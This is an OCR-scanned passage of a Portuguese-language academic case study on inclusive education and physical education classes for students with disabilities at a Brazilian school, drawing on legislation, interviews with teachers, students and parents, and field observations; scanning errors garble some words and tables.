74.024/61, que aponta o direito dos “excepcionais” a educacao, preferencialmente dentrq’ do
sistema geral de ensino (BRASIL, 2008).

Entretanto, conforme Barnes et al. (2002 apud SANTOS, 2008) foi na década de/ 1980

que os estudos internacionais sobre deficiéncia tiveram grande crescimento, promovendb uma




maior integracao e valorizagao no tratamento dos direitos humanos, civis e sociais para as
minorias populacionais. No mesmo sentido, foi reconhecido pela ONU em 1982 a responsabili-
dade dos governos em garantir direitos iguais as pessoas com deficiéncia.

No Brasil, somente seis anos apds a determinacao da ONU a respeito da equidade de
direitos, 0 movimento de incluséo teve sua implementacao, e em meados dos anos 90, ampa-
rado pela Constituicao Federal de 1988, pelo Estatuto da Crianga e do Adolescente de 1990
(ECA) e pela Lei de Diretrizes e Bases da Educacado Nacional n° 9.394/96 (LDB), pode afirmar
a educacao como um direito de todos, sendo um dever do Estado e da familia (BRASIL, 1988;
BRASIL, 1996).

Por outro lado, Santos (2008) enfatiza que mesmo com as mudangas legais constantes
na Constituicao Federal de 1988, quanto ao mercado de trabalho, educacao, acessibilidade
fisica e assisténcia social para as pessoas com deficiéncias, o Brasil ainda compreendeu por
muitos anos a deficiéncia como um fenémeno patoldgico € nao como uma expressao da diver-
sidade humana.

Dando continuidade a tal processo, em 1994, foi estabelecido pela Declaragao de Sala-
manca o principio fundamental para que a escola regular torne-se de fato inclusiva, estipulan-
do que todas as criancas devem aprender juntas, sempre que possivel, independentemente
de quaisquer dificuldades ou diferencas que elas possam ter (UNESCO, 1994).

No final dos anos de 1990, com a atual LDB n°® 9.394/96, estabeleceu-se que 0s
temas de ensino deveriam assegurar aos alunos curriculo, metodos, recursos e organizacao
especificos para atender as suas necessidades, garantindo ritmo especifico de aprendizagem

aqueles que ndo atingiram os niveis exigidos devido suas deficiéncias (BRASIL, 1996).




No século XXI, um marco importante na legislacéo vigente foi estabelecido em 2007
com a Convencgao Sobre os Direitos das Pessoas com Deficiéncia, adotada no Brasil por meio
do Decreton®7.611, de 17 de novembro de 2011. O decreto determinou medidas para garantir
que as pessoas com deficiéncia nao sejam excluidas do sistema educacional geral sob alega-
céo de deficiéncia (BRASIL, 2011).

No Brasil, o 6rgdo do Ministério da Educacao (MEC) responsavel pela educacgéo da
crianga com deficiéncia é a Secretaria de Educagéo Continuada, Alfabetizac&o, Diversidade e
Inclusao (SECADI), implantada pelo Decreto n° 7.690, de 02 de margo de 2012.

Portanto, a inclusao assumiu-se como um direito a educacao nao apenas as pessoas
com deficiéncias, mas, também, a todos aqueles com dificuldades temporarias ou permanen-
tes, os marginalizados, os que vivem nas ruas, as minorias éticas ou culturais ou, simplesmen-

te, aos que estdo fora da escola por qualquer motivo que seja (BRASIL, 2008).
2.1.1 Pessoas com Deficiéncias e Necessidades Educacionais Especiais (NEEs)

As deficiéncias passaram por inumeras pronuncias, se destacando no inicio do século

»oow

XX até o final dos anos 1960, os termos “invalido”, “incapaz” e “defeituoso”. Na década de

1980, os termos “pessoa deficiente” e “pessoa com necessidades especiais” ganham forca
junto a sociedade, visando atribuir valores aqueles que tinham deficiéncias ou necessidade
destacando-os assim como pessoas com direitos e dignidade iguais aos demais. Apos a de-
finicao de “pessoa deficiente” na década de 1980, o termo foi se moldando, sendo defini
também como “pessoa portadora de deficiéncia”, até chegar a atual definicao de “pessod com

deficiéncia” (SASSAKI, 2003).



Nessa perspectiva, conforme a ONU (2007) sdo compreendidas pessoas com defi-
ciéncias, aqueles individuos com impedimentos de longo prazo de natureza fisica, mental,
intelectual ou sensorial, que ao estarem em interacdo com diversas barreiras, podem ter uma
obstrugao em sua participacao plena e efetiva na sociedade em igualdade de condicoes.

O termo “Necessidades Educacionais Especiais” refere- se a toda criangca ou jovem
com NEEs originadas em funcao de deficiéncias ou dificuldades de aprendizagem. No ambito
escolar, os alunos com NEEs séo definidos em dois grupos, os com transtornos globais do

desenvolvimento e os com altas habilidades/superdotacao (BRASIL, 2008).

2.2 PROCESSOS DE INCLUSAQ ESCOLAR

A Educacao Inclusiva caracteriza-se como um acesso a educacao das pessoas histori-
camente excluidas por sua classe, etnia, género, idade ou deficiéncia. A proposta da inclusao
escolar enfatiza, dentre outros aspectos, que 0s sistemas de ensino devem respeitar e atender
as necessidades educacionais das pessoas com deficiéncia dentro da classe regular. Para
tanto, as escolas dispdem de varios servigos, recursos e estratégias, como: salas de recursos
multifuncionais ou de apoio pedagogico, atendimento educacional especializado e curriculo
com viés voltado a inclusdo (CAMPOS; DUARTE, 2011).

Segundo Mantoan et al. (2010) a incluséo implica em uma reforma radical nas escolds
em termos de curriculo, avaliacao, pedagogia e atividades na sala de aula. Neste sentido/ os
autores complementam que a inclusao rompe com o conservadorismo, questiona modelog ide-

ais e a selecao de eleitos para frequentar as escolas, nao se elegendo uma identidade como




norma privilegiada em relacao as demais, ao contrario de ambientes escolares excludentes,
onde a identidade normal é tida sempre como natural, generalizada e positiva.
Entretanto, Rodrigues (2003) enfatiza que a realidade atual das escolas ditas como

comuns ou tradicionais, € a padronizagdo do conhecimento, e assim, a relegagcdo das crian-

cas com NEES a marginalizagao. Desta forma, quando os alunos sao encaminhados para as
chamadas escolas “especiais”, localizadas fora da escola, eles nao agregam conhecimentos
e vivéncias relevantes para as suas vidas sociais, pois convivem com as igualdades nestes
ambientes e ndo com as diferencas a que serao expostas diariamente na sociedade.

Neste sentido, Mantoan (2010) também destaca que este sistema que prevé classes es-
peciais dentro ou fora das escolas de ensino regular, faz com que os professores excluam seus

alunos por duas vezes, uma na propria sala de aula, e outra ao leva-los nas salas de reforgo e

aceleracao. A autora questiona os beneficios das “Escolas Especiais”, ressaltando a necessida-
de da exclusividade das praticas da educacao inclusiva, permitindo que todos os alunos sejam
atendidos no mesmo local, na escola regular, mas com caracteristicas e abordagens proprias,

de modo que a inclusao faca parte da vontade politica do coletivo da escola, explicitadas no seu

Projeto Politico Pedagogico (PPP) e vividas a partir de uma gestao escolar democratica.
Entretanto, conforme a legislacao vigente, a escola especial € na verdade na atua-
lidade, somada a escola regular, um sistema inclusivo. E nao duas instituicoes separad
porém, cada uma com suas especificidades, a primeira sendo responsavel pelos contetudos
especificos, como a escrita e leitura em Braille, e a escola regular, que por meio da inclysao,
celebra a diversidade humana enquanto forma de ensinar, promovendo um ensino com/equi-

dade (BRASIL, 2008).




2.2.1 Educacao Fisica Inclusiva

Levando em consideragcao que a inclusao escolar como um todo deve proporcionar o
acesso aos conteudos propostos nas aulas e, principalmente, mover agoes que englobem todo
0 ambiente de relagdes sociais da crianca, se destaca neste processo, como uma importante
ferramenta de mediacéao, a Educacao Fisica escolar. Por caracterizar-se como um componente
curricular que fomenta relacionamentos interpessoais, a inclusao as aulas de Educacgao Fisica
acarreta ao aluno um senso de pertencimento ao grupo e gerando bem-estar (GOODWIN; WA-
TKINSON, 2000 apud ALVES; DUARTE, 2012).

Nessa perspectiva, Cooper et al. (2006 apud MARQUES et al., 2013) complementam
que as atividades fisicas, além de favorecerem o sujeito em seus aspectos sociais e afetivos,
proporcionam beneficios que se mostram como medidas importantes para a prevencéo e con-
trole de doencas cronicas.

Entretanto, conforme Alves e Duarte (2012) é oportuno destacar que a simples insergéo
dos alunos com deficiéncias ao ambiente fisico das aulas de Educacéao Fisica, nao assegura
a inclusao e o estabelecimento de vinculos sociais, uma vez que nem sempre ocorre a mutua
aceitacao perante seus pares, podendo os alunos com deficiéncias sofrerem com a rejeigao
dos colegas.

Nesse contexto inclusivo, destacam-se na mudanca da identidade da Educacéo Fisiga
escolar, os Pardmetros Curriculares Nacionais (PCN's) dos 1° e 2° ciclos (12 a 42 séries/ do
Ensino Fundamental), 3° e 4° ciclos (5 a 82 séries) e do Ensino Médio, uma vez que destgcam
multiplas possibilidades didaticas, entre elas, as de perspectiva inclusiva (DARIDO et al.,

BRASIL, 1997).




Darido et al. (2001) ainda destacam a grande relevancia dos PCN'’s perante a educa-
cao e a Educacgao Fisica. Nestes documentos, foram apresentados avancos e possibilidades
importantes para a disciplina, como conceitos de cidadania (temas transversais), as dimensoes
dos contetdos (procedimentais, atitudinais e conceituais) e, principalmente, de incluséo nas
aulas. Assim, mesmo sem assegurar-se a inclusao, tem-se ao menos, a ideia de nao exclusao.

Por outro lado, para as inclusdes dos alunos se concretizarem, Alves e Duarte (2012)
estipulam que as aulas devem ter objetivos claros e consequéncias que vao muito alem do
ambito escolar, utilizando-se de adaptacoes para adequar todos os aspectos da aula, reesta-
belecendo os objetivos, conteudos e atividades. Contudo, mesmo com a inclusdo concretizada
junto aos alunos, na maioria das vezes, os beneficios tangem muito mais a respeito da intera-
¢ao social, e em poucas vezes, a respeito de novas habilidades motoras.

Ao encontro de, Silva, Junior e Araujo (2008) ressalvam que atualmente a Educacao
Fisica em todos 0s seus aspectos, nao € mais a mesma de tempos atras, tendo evoluido em
abordagens e publicagdes inclusivas, entretanto, destacam também, que efetivamente poucas
mudanc¢as podem ser observadas na pratica diaria das aulas, de modo que os alunos com
deficiéncias continuam enfrentado os mesmos problemas de segregacao vistos no passado.

Neste sentido, Darido et. al. (2001) consideram como fundamental que o professor
favoreca os debates entre 0s alunos sobre temas como o preconceito, a discriminacao e a ex-
clusao. Assim, o processo ensino-aprendizagem deve ser baseado na compreensao, visapdo

o entendimento dos conceitos e, sobretudo, na discuticao, a fim de torna-los claros a todgs.




.3 METODOLOGIA

O estudo adotou o paradigma qualitativo com o objetivo observacional descritivo, utilizando como delineamento metodologico o
estudo de caso, tendo como sujeitos de estudo dois alunos com deficiéncias matriculados, dois alunos com deficiéncias egressos, quatro
responsaveis, duas professoras e uma coordenadora pedagogica. Para a coleta dos dados, foi utilizada a observacao direta na escola,

bem como entrevistas semiestruturadas junto aos sujeitos de estudo, além de anotagdes no diario de campo e analise de documentos.

2.4 APRESENTACAO E ANALISE DOS RESULTADOS

Afim de preservarmos a identidade da Escola e dos sujeitos que participaram da pesquisa, utilizamos nomes simbdlicos para todos

0s participantes, inclusive para a Escola. A seguir, distribuidas nos quadros, estao expostos os sujeitos e demais codificagoes utilizadas.

Quadro 1 - Codificagéo dos sujeitos
Fonte: Proprio autor

Codificagao Participante Idade Sexo Formagao
C Coordenadora 59 anos F Pedagogia
P1 Professora 1 50 anos F Magistério/ Pedagogia
P2 Professora 2 43 anos F Magistério/ Ed. Fisica
P2 Professora 2 43 anos F Magistério/ Ed. Fisica
- - - - Deficiéncia
Aluna Matriculada 1 11 anos F Trissomia de Cromossomo /
Aluna Matriculada 2 6 anos F Limitagdo motora em brago Codificagao Documento Ano de elaboragéo /
Aluno Egresso 1 16 anos M Intelectual DOC 1 Projeto Politico Pedagégico 2012 /
Aluna Egressa 2 17 anos F Sindrome de Down DOC 2 Planos de Estudos 2015 /
- - - Formacgao
Responsavel AM1 42 anos M Médio Completo pocs Historicos Escolares - /
Responsavel AM2 45 anos F Fundamental Incompleto - Significado Aspectos gerais /
Responsavel AE1 45 anos M Superior Completo 0OBS Observacoes Ambientes internos/ extqlnos
Responsavel AE2 58 anos F Fundamental Incompleto DC Diarios de Campo Ambientes internos e al|as

Quadro 2 - Codificagdo dos documentos e aspectos analisados

Fonte: Préprio autor




CATEGORIA E SUBCATEGORIA

Categoria 1: 2.4.1 Processos de Implementagéo da

Educacéo Inclusiva e Suas Implicacdes

Subcategoria 1: 2.4.2 Implicagdes nas Aulas de

Educacéo Fisica

Quadro 3 - Categoria e subcategoria
Fonte: Préprio autor

Apbs a codificacao do material coletado, realizou-se a analise qualitativa com base em
trés fases do procedimento: em um primeiro momento, a partir da transcricao das entrevistas
e das anotacoes de campo, procurou-se identificar as unidades de significado relevantes para
o estudo; no segundo nivel de anadlise, as unidades de significado serviram como base para
a sistematizacao da categoria de analise central, e da mesma forma, foram organizadas em
outras trés categorias visando facilitar a compreensao das entrevistas, sendo elas: equipe di-
retiva e professoras, alunos com deficiéncias matriculados e seus responsaveis, alunos com
deficiéncias egressos e seus responsaveis; Em um terceiro nivel da analise formulou-se uma
subcategoria de andlise. Partindo das caracteristicas comuns, encontrada entre itens da gran-
de categoria, definiu-se a subcategoria. A seguir, distribuidas no quadro 3, estao expostas a

categoria e subcategoria da pesquisa.
2.4.1 Processos de Implementacao da Educacdo Inclusiva e Suas Implicacdes

Os processos de implementacao da Educacéo Inclusiva e suas implicacdes, serao em-
basados na subcategoria de analise referente a Educacéo Fisica, e desta forma, esmiucada

por meio das trés perspectivas idealizadas na triangulacéo dos dados, considerando-se o que

os teoricos, as entrevistas e as observagoes oriundas do campo de estudo nos trouxeram.
Mostrando-se com grande importancia neste estudo, € de suma relevancia a caracteriz

¢éo da designacgéao das politicas na modernidade, que segundo Sardagna (2007, p. 174) sugoe

0 “conjunto de atividades que, de uma forma ou de outra, sao imputadas ao Estado moderng ca-

pitalista ou dele emanam, atuando no mantimento dos mecanismos de atracao e controle sgcial”.




Desta forma, daremos enfoque a Educacéo Fisica, interligando os acontecimentos cro-
nologicamente desde a implementacéo da Lei de Diretrizes e Bases da Educacao Nacional n®

9.394/96 com a realidade atual.
2.4.2 Implicacdes nas Aulas de Educacdo Fisica

Como destacado ao longo deste trabalho, a LDB estabelece que é dever do Estado
garantir aos alunos com deficiéncias e necessidades educacionais especiais acesso e perma-
néncia nas classes regulares de ensino, devendo estas fazerem as adequacodes necessarias as
suas possibilidades em termos de curriculo, métodos, técnicas, recursos educativos e organi-
zacoes especificas. Da mesma forma, a LDB dispde que a Educagao Fisica € um componente
curricular obrigatério na educacao basica e que esta deve ser incorporada a proposta peda-
gogica da escola (BRASIL, 1997).

Deste modo, procurando compreender como a escola entende e apresenta a Educa-
cao Fisica em suas abordagens, evidenciou-se que seu PPP-2012 nao traz referéncias diretas
a area, apenas apontando em seu contexto global de ensino, que a formulagdo de todos os
nucleos curriculares devem observar os seguintes aspectos: “o crescimento pessoal atraves

do desenvolvimento da autoconfianca, da motivacéo e da aptiddao para se comunicar e se

relacionar; e o contentamento a partir de temas que promovam alegria e satisfacao” (DOC
09/04/2015, p. 45).

Considerando-se a citagao destacada no paragrafo anterior, € possivel identificar/que
a Educagéo Fisica esta intimamente ligada com a afirmacao “a partir de temas que promovam

alegria e satisfagdo”, tendo em vista a mesma se mostrar como fonte de atividades que des-




pertem a diversao, integracao, afetividade e envolvimentos interpessoais entre os alunos — e
até mesmo com o professor -, utilizando-se de atividades ludicas, recreativas, ritmicas ou jogos
variados (DC 16, 11/05/2015, grifo nosso).

Por outro lado, os objetivos gerais dos Planos de Estudos (2015) da escola seguem a
mesma linha voltada para a incluséo, destacando que o professor deve propor uma aborda-
gem que envolva todas as diversidades e peculiaridades da turma, estimulando atividades
que facam os alunos cultivar o respeito as diferencas, a criticidade e a autonomia. Quanto
ao objetivo geral pertinente a Educagao Fisica exposto nos planos de estudos, o documento
destaca que através de diferentes alternativas de aprendizagem, a Educacéo Fisica deve: “[...]
possibilitar aos educandos a ampliagdo da visdo sobre a cultura corporal do movimento [...]",
viabilizando, assim, “[...] a autonomia para o desenvolvimento de uma pratica pessoal e a ca-
pacidade para interferir na comunidade” (DOC 2, 09/04/2015, p.17).

Assim, tendo como norte o estabelecido nos documentos oficiais da instituicao, procu-
rou-se observar de maneira critica a abordagem das aulas, as relagdes entre professor — alu-
no, e o envolvimento dos alunos com deficiéncias nas aulas. Deste modo, percebeu-se que a
professora utilizou em suas aulas — com turmas dos anos iniciais do Ensino Fundamental -, uma

metodologia de ensino globalizado, caracterizada através de jogos motores, circuitos, ativida-

des com materiais diversificados, atividades ludicas, brincadeiras que despertem o imaginario
e a criticidade. Prop6s como conteudos jogos cooperativos e em grupos, jogos manipulatiyos,
jogos simbolicos e esquema corporal (DC 10, 20/04/2015).

Quanto as relagdes nas aulas, a professora adotou uma postura mediadora e ihcen-

tivadora, a respeito dos desentendimentos e participagdes dos alunos, respectivamente. Os




alunos mostravam-se alegres e dispostos em realizar as atividades, e quanto aos alunos com
deficiéncias, estes participavam normalmente dos jogos e contavam, em determinados mo-
mentos, com a ajuda dos demais quando ndo conseguiam ou nao compreendiam o que tinham
que fazer (DC 10, 20/04/2015; EP2, 28/04/2015; OBS 9, 20/04/2015).

Como destaca Mantoan (2010), a professora ndo realizava apenas adaptagoes redu-
cionistas como meio, como por exemplo, medidas que apenas visassem facilitar a execugao
ou realizar uma adaptacéao individual de determinada parte da aula. Conforme relatado pela
mesma, utilizava-se de “adaptacdes nos objetivos e pensava as aulas a partir de todas as dife-
rencas do ambiente”, resinificando as acdes conforme a realidade e interesses dos envolvidos,
fomentando o “porqué fazer” ao invés do “saber fazer” (DC 10, 20/04/2015; P2, 28/04/2015;
OBS 6, 02/04/2015; OBS 7, 09/04/2015; OBS 9, 20/04/2015).

Conforme a coordenadora pedagogica “C”, a Educacgao Fisica € fundamental para for-
macao de todos os alunos e, sobretudo, no desenvolvimento dos alunos com deficiéncias,
pois “possibilita uma variedade muito rica de possibilidades [...] despertando a integracao e
as relagoes de grupo [...] e valéncias fisicas importantes para a fase deles” (C, 20/04/2015). A
partir deste destaque, é possivel perceber que a escola compreende as aulas de Educagao

Fisica como de suma importancia e relevancia dentro do processo inclusivo que o ambiente se

propde (DC 10, 20/04/2015).

Por outro lado, referente ao que fora observado no campo de estudo, foi possivel cgns-
tatar uma incoeréncia entre a pratica e 0 que preconiza os Parametros Curriculares Naciopais.
Assim, um ponto negativo a ser destacado, € de que a Escola Pioneira nao conta com um

professor especifico da area da Educagao Fisica nas quarenta horas semanais, uma vz que



https://www.google.com.br/search?es_sm=122&biw=1366&bih=643&q=ressignificando&spell=1&sa=X&ved=0CBkQvwUoAGoVChMIutea7L-QxgIVyNCACh3angBm

a Unica professora com formacao na area atua somente num regime de vinte horas semanais.
(DC 15, 06/05/2015).

Neste sentido, os Parédmetros curriculares Nacionais estabelecem que a Educacéo Fi-
sica € um componente curricular obrigatorio na rede de ensino brasileiro, da Educacao Infantil
até o Ensino Medio, devendo ser ministrada por professor com formacao especifica na area.
Com isto, a Educacao Fisica deve trabalhar as suas proprias especificidades, tais como: os
jogos, as ginasticas, os esportes, as lutas, as atividades ritmicas e expressivas € 0s conheci-
mentos sobre o corpo, inter-relacionando com os outros componentes curriculares da educa-
cédo basica (BRASIL, 1997).

Outrossim, em conformidade com Ferreira e Cataldi (2014) a Educacgéo Fisica ndo esta
indiferente ao movimento da Educacéo Inclusiva, pois compdem o curriculo da educagao basi-
ca e constitui-se como uma assessora do processo da inclusao escolar e esportiva.

Relatando a respeito de como eram os recursos, materiais e condigdes de oferta para
uma aula de Educacéo Fisica voltada para a Incluséo, a professora “P2” defende que hou-
veram muitas mudancas de realidade desde que a mesma comecou a lecionar na Escola
Pioneira, de modo que no inicio dos anos 2000 — época que a professora ingressou na escola

— haviam bem menos materiais e recursos para pensar e elaborar suas aulas, destacando que

a direcao teve papel fundamental na concretizacao da realidade atual:

[...] muitas vezes, a propria diretora chegava e dizia, “olha, tem uma coisa/aqui




Outro destaque levantado pela professora de Educacéo Fisica da escola, condiz a
respeito do numero de alunos — com e sem inclusao - nas turmas e a presenca de auxiliares
de ensino, destacando que no inicio do processo de implementagdo da Educacéao Inclusiva,
a politica apenas elencava normas, de modo que elas néo se concretizavam na pratica, difi-
cultando muito a atuagdo do professor, acrescentando que “[...] & importantissimo sim, todo
mundo ser incluido. Mas, € importante que todo o trabalho seja feito junto também, com todos
os profissionais que vao acompanhar essa pessoa, a turma reduzida, o auxiliar de ensino, es-
sas coisas (P2, 28/04/2015).

Neste sentido, como destacado pela professora “P2”, a realidade atual — turmas redu-
zidas, variedade de materiais e auxiliares de ensino - € bem diferente do que € relatado pelos
participantes que vivenciaram o inicio do processo inclusivo, ndo s6 no que se refere a inclu-
sa0, mas nas condicdes de ensino como um todo (DC 15, 06/05/2015).

Da mesma forma, Bueno e Resa (1995 apud SILVA; SOUTO, 2015) articulam que as
participagdes nas aulas de Educacao Fisica por pessoas com deficiéncia contribuem para a
superacao das limitagcdes e dificuldades destes sujeitos, auxiliando em seu crescimento pes-
soal e fazendo com que se sintam importantes para a sociedade e respeitados pelos colegas.

Em concordéancia com isso, a fala do ex-aluno “AE1” deixa claro esta sensagao de per-

tencimento resultante das aulas de Educacao Fisica, exaltando que gostava muito de participar
das aulas, mas sobretudo o que ele mais gostava “Era dos colegas! [...] eu me dava muito hem
com eles! " (AE1, 27/04/2015).

Por meio da fala do ex-aluno “AE1” e da notavel alegria que o mesmo representaya em

suas emogdes ao responder se gostava das aulas de Educacéo Fisica e da relagao com seus




colegas, percebe-se a importancia das aulas nas relagcoes pessoais desse aluno no meio esco-
lar, de modo que por meio das aulas Educacao Fisica ele se sentia alegre e feliz, se envolvia
com seus colegas e adquiria novos conhecimentos a partir destas relacoes (DC 11, 27/04/2015).
Considerando-se as relacoes interpessoais € a relevancia destas na vida dos alunos
com deficiéncias, evidencia-se em uma resposta da aluna “AM1” a necessidade de praticas
que estimulem os alunos a interagao e o respeito da diversidade, uma vez que a aluna afirmou
que a unica coisa que ela ndo gosta na escola, que a deixa triste, era “O Lucas, eu ndo gosto
do Lucas. Ele fica rindo de mim”. Exemplificando como reage o lado emocional de sua filha, o
pai “RAM1” contribui com o seguinte: “E a mesma coisa que eu te falei antes, entendeu. Eles
sentem muito. Ela n&o vai esquecer nunca, vai passar a vida inteira, e esse guri, o Lucas, ela
nunca vai esquecer dele” (DC 14, 04/05/2015; AM1, 04/05/2015; RAM1, 04/05/2015).
Corroborando, o pai “RAE1” relata problemas parecidos nas relagoes de grupo do seu
filho (AE1), mas por sua vez, o mesmo é enfatico em afirmar que as Unicas vezes que ele se
sentia menos incluido era nos momentos fora das aulas de Educagéao Fisica, destacando que
“[...] ele chegava em casa as vezes brabo, porque fulano de tal “ndo me deixou jogar”. Mas ai
era naqueles momentos que ndo eram o horario de educacao fisica, mas sao criangas também,
né, temos que entender isso (RAE1, 27/04/2015).
Por outro lado, a mae “RAM2”, responsavel pela aluna “AM2”, salienta que sua filha gog-
ta muito das aulas de Educagéo Fisica, apontando que “[...] ela gosta de jogar de bola, ggsta
de correr [...] se sente muito feliz nas aulas, pelo o que ela me conta”.
Através do apontamento da mae “RAE2”, onde a mesma destaca o gosto que sua filha

tem pela danca, mas mesmo assim, apresentava dificuldade em desinibir-se nas aulas,




-se a necessidade de praticas com propostas diferenciadas que abranjam a singularidade dos
sujeitos e fomentem as relacdes pessoais e a afetividade dentro da escola regular, apontando

0 seqguinte:
[...] ela ficava sempre de lado. SO que até hoje, eu nunca sei o porqué que ela
nao gostava de danca, porque ela gostava de dancar em casa e dai 13, ela
nao dancava. E era muisica que ela chegava em casa, pulava o tempo topo.
E & ela ficava quieta [...] mas quando ela vinha pra ca, era diferente (RAE2,
29/04/2015).

Do mesmo modo que foi destacado na maior parte dos depoimentos dos alunos, ex-
-alunos e seus responsaveis, nas aulas que foram observadas na escola, os alunos com defi-
ciéncias permaneciam ativos nas aulas, interagindo com os colegas — muitas vezes recebendo
auxilio dos mesmos — e executando as atividades conforme seus interesses e capacidades.
Por sua vez, durante os recreios observou-se durante algumas ocasides, 0s alunos deixados de
lado pelos colegas e muitas vezes brincando sozinhos, afastados do grande grupo, mas néao se
constituindo esta descricdo, como uma regra ou rotina. (DC 16, 11/05/2015).

Neste sentido, a coordenadora pedagogica “C” realgca que a Escola Pioneira sempre
trabalhou buscando desenvolver em todos 0s alunos este senso de responsabilidade e igual-
dade, de modo que destacou o seguinte: “[...] nds sempre trabalhamos isso com os alunos,
pra eles aprenderem a lidar com os colegas que tem alguma deficiéncia, qualquer que seja [. /
ajudar nas aulas, auxiliar os professores” (C, 20/04/2015).

Alves e Duarte (2012) relevam esta evidenciacdo ao ponderarem que a simpl
sercao dos alunos com deficiéncias ao ambiente fisico das aulas de Educacéao Fisicg, nao

assegura a inclusao dos mesmos e o estabelecimento de vinculos sociais, uma vez que nem




sempre ocorre a mutua aceitacao perante seus pares, podendo os alunos com deficiéncias
sofrer com a rejeicao dos colegas.

Destacando os ensinamentos que obteve através do dia a dia e dos anos de praticas, a
professora “P2” evidencia mais uma vez que os ganhos efetivos que ela vivenciou nas aulas de
Educacao Fisica, foram resultantes de seu interesse e da sua dedicagao pessoal:

[...] hoje em dia tu ser professor, € tu lidar com muitas coisas diferentes dentro
da sala de aula, muitas situagdes diferentes e tu ter uma resiliéncia suficiente
para tu conseguir “rebolar” e vencer tudo isso, sabe. Falta muita estrutura, vai

muito do que cada professor esta realmente com vontade de trabalhar e de
enxergar seu trabalho, para crescer em cima disto (P2, 28/04/2015).

Encerrando sua fala a professora destaca que é uma ironia afirmarmos que em todas
as aulas a criancga € incluida, pois segundo ela “é mentira eu te dizer que toda aula eu consigo
incluir a crianca, porque isso ndo € bem assim [...]” enfatizando ainda que “[...] isso é s6 com
a pratica que tu adquire” (P2, 28/04/2015).

Assim, considerando-se os relatos do dia a dia da professora de Educacao Fisica e o
exposto por Darido et al. (2001) a respeito dos Parametros Curriculares Nacionais, evidencia-
-se deste modo, a importancia de uma abordagem direcionada para as trés dimensoes dos

contetidos destacadas pelo autor, uma vez que expostas todas as dificuldades da pratic

faz-se necessario na efetivagao da inclusao, propostas com ideais voltados para as atitudgs,
conceitos e procedimentos de todas as dimensodes da cultura corporal (DC 16, 11/05/201
Considerando-se o fim efetivo em que as politicas educacionais se propuseram, € pos-

sivel destacar o éxito destas medidas, mas, contudo, € do entendimento de todos que ainda ha
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um logo caminho a ser percorrido, uma vez que por meio da vivéncia de campo sobressaiu-se
o fato de que os esforcos pessoais dos envolvidos no processo — equipe diretiva e professores
— foi 0 grande motivador da qualificacéo pessoal dos mesmos, e também, o grande resultante
da maior parte das acoes inclusivas que alcancaram a plenitude objetivada em suas aborda-
gens. (DC 16, 11/05/2015).

Entretanto, mesmo com algumas das barreiras e dificuldades apresentadas na efeti-
vidade das praticas inclusivas, € perceptivel nos relatos dos participantes a importancia da
Educagéo Fisica para suas vidas como um agente de promocao de saude fisica e intelectual,
uma vez que 0s mesmos destacaram em seus argumentos, com muito entusiasmo, momentos
em que as aulas de Educacao Fisica lhes proporcionaram satisfagao e elevaram sua autoesti-

ma. Como os principais destaques oriundos da Educacao Fisica em uma perspectiva inclusiva,

podemos destacar inumeros fatores relacionados a diversidade, mas sobretudo: a potenciali-
zagao dos vinculos afetivos, a quebra de barreiras, a independéncia, o saber vencer e o saber
lidar com a derrota, a superagao das limitagdes e das proprias dificuldades, sem esquecermos,

é claro, do crescimento pessoal como um todo, permitindo assim que as pessoas com defici-

éncias se sintam importantes para a sociedade (DC 16, 11/05/2015).

Diante deste estudo percebeu-se que a escola investigada esta em um patamar acima
das demais Escolas da regiao, mostrando-se muito preparada e capacitada para a atuggao
voltada a Inclusao Escolar. Por conseguinte, a propria Educacgao Inclusiva no Brasil ainda tem

muito a melhorar para alcancar o tao esperado modelo inclusivo, de modo que possibilite aos



seus alunos com deficiéncia uma escola digna e respeitadora das especificidades de cada individuo,
contribuindo, assim, para a inclusao na sociedade.

A respeito das implicagdes nas aulas de Educagao Fisica, no que se refere as politicas edu-
cacionais, 0s ganhos da area seguem no mesmo sentido da escola como um todo, de modo que o
fator humano é o grande diferencial, sobressaindo-se como qualidades o empenho e a dedicacao
dos membros em “viver” a inclusao como um todo. Entretanto, especificamente a Educacao Fisica,
podemos destacar que através da interacao conjunta dentro das turmas regulares e por meio das re-
lacdes interpessoais antes sonegadas, viabilizou-se aos alunos com deficiéncias a oferta da Educacao
Inclusiva como um complemento de ensino da educagao basica, possibilitando-se, assim, o direito e a
possibilidade do desenvolvimento integral dos mesmos (fisico, cognitivo, social e afetivo), além da ex-

perimentagao dos beneficios advindos das praticas conscientes nas aulas de Educacao Fisica, como:

senso de pertencimento ao grupo, bem-estar, autoestima, independéncia e equilibrio emocional.
Neste entendimento, cabe destacar que para a inclusao nas aulas de Educacao Fisica, nao se
excetuando o contexto geral relacionado a inclusao nas escolas, as praticas adotadas nao podem ser

fragmentadas e reducionistas no sentido de realizarem apenas adaptacdes na execucao das ativida-

des propostas nas aulas. Desta forma, uma pratica efetivamente inclusiva, deve partir de uma alteragao
global da escola e do ambiente em si, enfocando mudancas na viséo de todos os sujeitos envolvidos
— da equipe diretiva, professores, alunos, comunidade escolar, e porque nao, da propria sociedade
alterando-se assim, a concepgao do curriculo, dos métodos, objetivos e abordagens do ambiente/es-
colar. Com isto, possibilita-se uma ressignificagao dos conceitos de diversidade, diferenca e identigade

dos sujeitos, fomentando, assim, acima de tudo o respeito e a dignidade nas relacdes humanas.



Por este destaque, € possivel compreender o porqué da Escola Pioneira possibilitar aos seus
alunos uma pratica inclusiva bem proxima do que preconiza a Lei de Diretrizes e Bases da Educacao
Nacional (LDB), pois naguele ambiente, a mudanca da visdo e compreensao dos aspectos relaciona-
dos ainclusao sao abordadas e tratadas com seriedade, ha muitos anos, até mesmo desde antes das
politicas voltadas a inclusao serem publicadas.

Sobretudo, compreende-se que este € um processo lento e gradual que tende a evoluir cada
vez mais socialmente, de modo que através da garantia dos direitos constantes na legislacao, sera
possivel apropriar-se de recursos e medidas que fomentem a ampliacéo do conhecimento do senso
comum a respeito da diversidade e incluséo das pessoas com deficiéncias. Com a efetivacao nesta
diregao, altera-se a realidade como um todo, tornando os resultados do processo muito mais facilita-
dos. Todavia, ha de sabermos que a alteragao deste quadro nao sera facil, tendo em vista o contexto
excludente da sociedade e a compulsoria busca pela produtividade advinda do sistema capitalista.

Assim, para o seguimento dos estudos na area da Educacao Inclusiva com enfoque na Educa-
¢ao Fisica, podem ser investigados ainda, outros microssistemas dos quais o aluno faga parte, como,
por exemplo, aprofundar até qual ponto estas implicagdes elencadas resultam em ganhos reais nas
vidas pessoais das pessoas com deficiéncias ou, também, especificamente a este estudo, abordar-se

como se encontram na atualidade — pessoal e profissionalmente -, 0os alunos com deficiéncias egres-

sos da Escola Pioneira.

